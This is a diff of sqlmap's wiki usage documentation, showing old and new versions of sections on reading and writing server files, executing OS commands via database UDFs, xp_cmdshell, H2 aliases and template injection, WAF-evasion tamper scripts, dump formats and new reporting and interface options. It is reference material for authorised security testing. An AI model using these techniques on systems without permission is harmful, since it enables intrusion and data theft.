It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.
It is possible to retrieve the content of files from the underlying file system when the back-end database management system is MySQL, PostgreSQL, Microsoft SQL Server, Oracle or H2, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.
These techniques are detailed in the white paper [Advanced SQL injection to operating system full control](http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857).
@ -1670,7 +1990,7 @@ output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
Options: `--file-write` and `--file-dest`
It is possible to upload a local file to the database server's file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.
It is possible to upload a local file to the database server's file system when the back-end database management system is MySQL, PostgreSQL, Microsoft SQL Server, H2 or HSQLDB, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.
These techniques are detailed in the white paper [Advanced SQL injection to operating system full control](http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857).
@ -1707,9 +2027,11 @@ ytes, same size as the local file '/software/nc.exe.packed'
Option and switch: `--os-cmd` and `--os-shell`
It is possible to **run arbitrary commands on the database server's underlying operating system** when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
It is possible to **run arbitrary commands on the database server's underlying operating system** when the back-end database management system is MySQL, PostgreSQL, Microsoft SQL Server or H2, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, `sys_exec()` and `sys_eval()`, then it creates these two functions on the database and calls one of them to execute the specified command, depending on user's choice to display the standard output or not. On Microsoft SQL Server, sqlmap abuses the `xp_cmdshell` stored procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), sqlmap re-enables it; if it does not exist, sqlmap creates it from scratch.
On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, `sys_exec()` and `sys_eval()`, then it creates these two functions on the database and calls one of them to execute the specified command, depending on user's choice to display the standard output or not. On Microsoft SQL Server, sqlmap abuses the `xp_cmdshell` stored procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), sqlmap re-enables it; if it does not exist, sqlmap creates it from scratch. On H2, command execution is achieved by defining a Java `CREATE ALIAS` routine.
The same `--os-cmd` and `--os-shell` options also drive command execution against a confirmed **server-side template injection** point (switch `--ssti`, e.g. Jinja2 or Struts2/OGNL), where the command runs through the template engine rather than the database. See the `--ssti` subsection for details.
When the user requests the standard output, sqlmap uses one of the enumeration SQL injection techniques (blind, inband or error-based) to retrieve it. Vice versa, if the standard output is not required, stacked query SQL injection technique is used to execute the command.
@ -2047,7 +2369,7 @@ In some cases user will be warned that some operations failed because of lack of
Option: `--dump-format`
sqlmap supports three different types of formatting when storing dumped table data into the corresponding file inside an output directory: `CSV`, `HTML` and `SQLITE`. Default one is `CSV`, where each table row is stored into a textual file line by line, and where each entry is separated with a comma character `,` (or one provided with option `--csv-del`). In case of `HTML`, output is being stored into a HTML file, where each row is represented with a row inside a formatted table. In case of `SQLITE`, output is being stored into a SQLITE database, where original table content is replicated into the corresponding table having a same name.
sqlmap supports four different types of formatting when storing dumped table data into the corresponding file inside an output directory: `CSV`, `HTML`, `SQLITE` and `JSONL`. Default one is `CSV`, where each table row is stored into a textual file line by line, and where each entry is separated with a comma character `,` (or one provided with option `--csv-del`). In case of `HTML`, output is being stored into a HTML file, where each row is represented with a row inside a formatted table. In case of `SQLITE`, output is being stored into a SQLITE database, where original table content is replicated into the corresponding table having a same name. In case of `JSONL`, output is being stored into a [JSON Lines](https://jsonlines.org/) file, where each table row is written as one self-contained JSON object per line (convenient for streaming into other tooling).
### Force character encoding used for data retrieval
@ -2211,6 +2533,12 @@ def postprocess(page, headers=None, code=None):
return page.upper() if page else page, headers, code
```
### Store run results to a JSON file
Option: `--report-json`
In addition to the human-readable console log and the per-target files stored under the output directory, `--report-json` writes a machine-readable **JSON** report of the run results to the given path. This makes it straightforward to feed sqlmap's findings (detected injection points, back-end DBMS, enumerated data, etc.) into other tooling or CI pipelines.
### Save options in a configuration INI file
Option: `--save`
@ -2269,6 +2597,8 @@ com/vuln.php?id=1"
Option: `--alert`
This option runs a host operating-system command (or commands) the moment a SQL injection point is found during a run. It is handy for long unattended or bulk (`-m`) scans, e.g. `--alert="notify-send 'sqlmap found an injection'"` to raise a desktop notification, or to trigger any custom hook. The command is executed once, on first detection.
### Make a beep sound when SQL injection is found
Switch: `--beep`
@ -2726,6 +3056,24 @@ current user is DBA: True
[*] shutting down at xx:xx:52
```
### Graphical and textual user interfaces
Switches: `--gui` and `--tui`
For users who prefer not to work purely on the command line, sqlmap ships two front-ends over the same engine. `--gui` opens a graphical user interface built on the standard-library **Tkinter** toolkit, while `--tui` opens a **textual (ncurses-style)** interface in the terminal. Both let you assemble options and launch a run without memorizing switches. (See [[Dependencies]] for the `tkinter` requirement of `--gui`.)
### List available tamper scripts
Switch: `--list-tampers`
This switch prints the full list of tamper scripts bundled under `tamper/`, each with a short description of the transformation it applies. It is a quick way to discover which WAF/IPS-evasion transformations are available before composing a `--tamper` chain.
### Disable console output truncation
Switch: `--no-truncate`
By default, very long values (e.g. large dumped cell contents) are truncated in the console output for readability - the data is still stored in full in the output files. Use `--no-truncate` to print such values in full on screen as well.
## API
sqlmap can be controlled programmatically through `sqlmapapi.py`, which exposes an HTTP REST API accepting and returning JSON.

@ -18,4 +18,3 @@
* [[FAQ]] - Frequently Asked Questions
* [[Presentations]] - Materials from sqlmap team presented at conferences
* [[Screenshots]] - Collection of screenshots demonstrating some of features
* [[Third party libraries]] - Detailed information about third-party libraries and tools used by sqlmap